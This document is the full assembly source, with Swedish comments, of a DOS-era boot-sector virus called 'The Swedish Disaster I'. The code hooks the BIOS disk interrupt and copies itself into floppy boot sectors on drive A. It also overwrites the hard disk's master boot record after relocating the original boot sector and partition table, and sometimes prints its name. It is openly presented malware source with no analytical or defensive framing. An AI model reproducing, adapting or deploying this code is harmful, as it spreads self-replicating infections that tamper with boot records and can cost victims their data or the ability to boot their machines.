
; Senast „ndrad 891213.
;
; L„gger gamla bootsectorn p† sida 1, sp†r 0, sector 3.
;                             sida 0, sp†r 0, sector 7 p† HD.


Code    Segment
        Assume  cs:Code
        Org     0000h

Main    Proc    Far
        db      0EAh,05h,00h,0C0h,07h

        jmp     Near Ptr Init           ; Hoppa f”rbi variabler och nya int13h


; Variabler

Old13h  dd      0                       ; Gamla vectorn till diskfunktionerna.

TmpVec  dd      0                       ; Tempor„r vec. vid „ndring av int 13.

BootPek dw      0003h,0100h

; Slut p† variabler



Int13h  Proc    Near
        push    ds
        push    ax
        push    bx

        cmp     dl,00h                  ; Drive A
        jne     Exit

        cmp     ah,02h
        jb      Exit
        cmp     ah,04h
        ja      Exit                    ; Kolla s† att func. 2-4

        sub     ax,ax
        mov     ds,ax
        mov     bx,043Fh                ; Motor status byte.
        test    Byte Ptr [bx],01h       ; Testa om motorn i A: „r p†..
        jnz     Exit                    ; Nej,hoppa till gamla int 13h

        call    Smitta

Exit:   pop     bx
        pop     ax
        pop     ds
        jmp     [Old13h]


Smitta  Proc    Near
        push    cx
        push    dx
        push    si
        push    di
        push    es

        push    cs
        pop     es
        push    cs
        pop     ds

        mov     si,0004h                ; Max antal f”rs”k.

Retry:  mov     ax,0201h                ; L„s en sector
        mov     bx,0200h                ; L„s hit.
        mov     cx,0001h                ; Sp†r 0 Sector 1
        sub     dx,dx                   ; Sida 0 Drive 0
        pushf
        call    [Old13h]                ; L„s in booten.

        jnc     OK

        dec     si
        jz      Slut                    ; Hoppa ur om fel.
        jmp     Retry                   ; F”rs”k max 4 g†nger.


OK:     mov     si,0200h
        sub     di,di
        cld
        lodsw
        cmp     ax,[di]
        jne     L2
        lodsw
        cmp     ax,[di+2]
        jne     L2
        jmp     Slut

L2:     mov     ax,0301h                ; Skriv en sector.
        mov     bx,0200h
        mov     cx,0003h                ; Sp†r 0 Sector 3
        mov     dx,0100h                ; Sida 1 Drive 0
        pushf
        call    [Old13h]                ; Flytta boot sectorn.

        mov     ax,0301h
        sub     bx,bx
        mov     cx,0001h
        sub     dx,dx
        pushf
        call    [Old13h]                ; Skriv ner viruset till booten.

Slut:   pop     es
        pop     di
        pop     si
        pop     dx
        pop     cx
        ret
Smitta  Endp
Int13h  Endp

Init:   sub     ax,ax
        mov     ds,ax                   ; Nollar ds f”r att „ndra vect.

        cli
        mov     ss,ax
        mov     sp,7C00h
        sti                             ; S„tter upp en ny stack.

        push    cs
        pop     es
        mov     di,Offset Old13h
        mov     si,004Ch
        mov     cx,0004h
        cld
        rep     movsb                   ; Flytta int 13h vectorn.

        mov     bx,0413h
        mov     ax,[bx]                 ; Minnesstorleken till ax.
        dec     ax
        dec     ax
        mov     [bx],ax                 ; Reservera plats f”r viruset.

        mov     cl,06h
        shl     ax,cl
        mov     es,ax                   ; Omvandla till segment addres.

        mov     Word Ptr TmpVec,Offset Int13h
        mov     Word Ptr TmpVec+2,es
        push    es
        sub     ax,ax
        mov     es,ax
        push    cs
        pop     ds
        mov     si,Offset TmpVec
        mov     di,004Ch
        mov     cx,0004h
        rep     movsb
        pop     es

        sub     si,si
        mov     di,si
        mov     cx,0200h                ; Hela viruset + lite till.
        rep     movsb

        mov     ax,Offset Here
        push    es
        push    ax
        ret                             ; Hoppa till viruset.

Here:   sub     ax,ax
        int     13h                     ; Źterst„ll driven

        sub     ax,ax
        mov     es,ax
        mov     ax,0201h                ; L„s en sector funk.
        mov     bx,7C00h                ; Hit laddas booten normalt.
        mov     cx,BootPek
        mov     dx,BootPek+2
        int     13h

        push    cs
        pop     es
        mov     ax,0201h
        mov     bx,0200h
        mov     cx,0001h
        mov     dx,0080h
        int     13h                     ; L„s in partions tabellen.
        jc      Over
        push    cs
        pop     ds
        mov     si,0200h
        sub     di,di
        lodsw
        cmp     ax,[di]                 ; Kolla om den „r smittad.
        jne     HdInf
        lodsw
        cmp     ax,[di+2]
        jne     HdInf

Over:   mov     BootPek,0003h
        mov     BootPek+2,0100h
        sub     bx,bx
        push    bx
        mov     bx,7C00h
        push    bx
        ret                             ; K”r den gamla booten.

HdInf:  mov     BootPek,0007h
        mov     BootPek+2,0080h

        mov     ax,0301h
        mov     bx,0200h
        mov     cx,0007h
        mov     dx,0080h
        int     13h                     ; Flytta orgin. part.tabellen.
        jc      Over

        push    cs
        pop     ds
        push    cs
        pop     es
        mov     si,03BEh
        mov     di,01BEh
        mov     cx,0042h
        cld
        rep     movsb                   ; Kopiera part. data till viruset.

        mov     ax,0301h
        sub     bx,bx
        mov     cx,0001h
        mov     dx,0080h
        int     13h                     ; Skriv viruset till part. tabellen.


        sub     ax,ax
        mov     es,ax                   ; Kolla om msg:et ska skrivas ut.
        test    Byte Ptr es:[046Ch],07h
        jnz     HdInf1

        mov     si,Offset Txt           ; Detta utf”rs bara om man bootar fr†n
        cld                             ; diskett.
Foo1:   lodsb
        cmp     al,00h
        je      HdInf1
        mov     ah,0Eh
        sub     bx,bx
        int     10h
        jmp     Foo1

HdInf1: jmp     Over


Slutet  Label   Byte                    ; Anv„nds f”r att veta var slutet „r.


Txt     db      07h,0Ah,0Dh,'The Swedish Disaster I',0Ah,0Dh,00h


Main    Endp
Code    Ends
        End

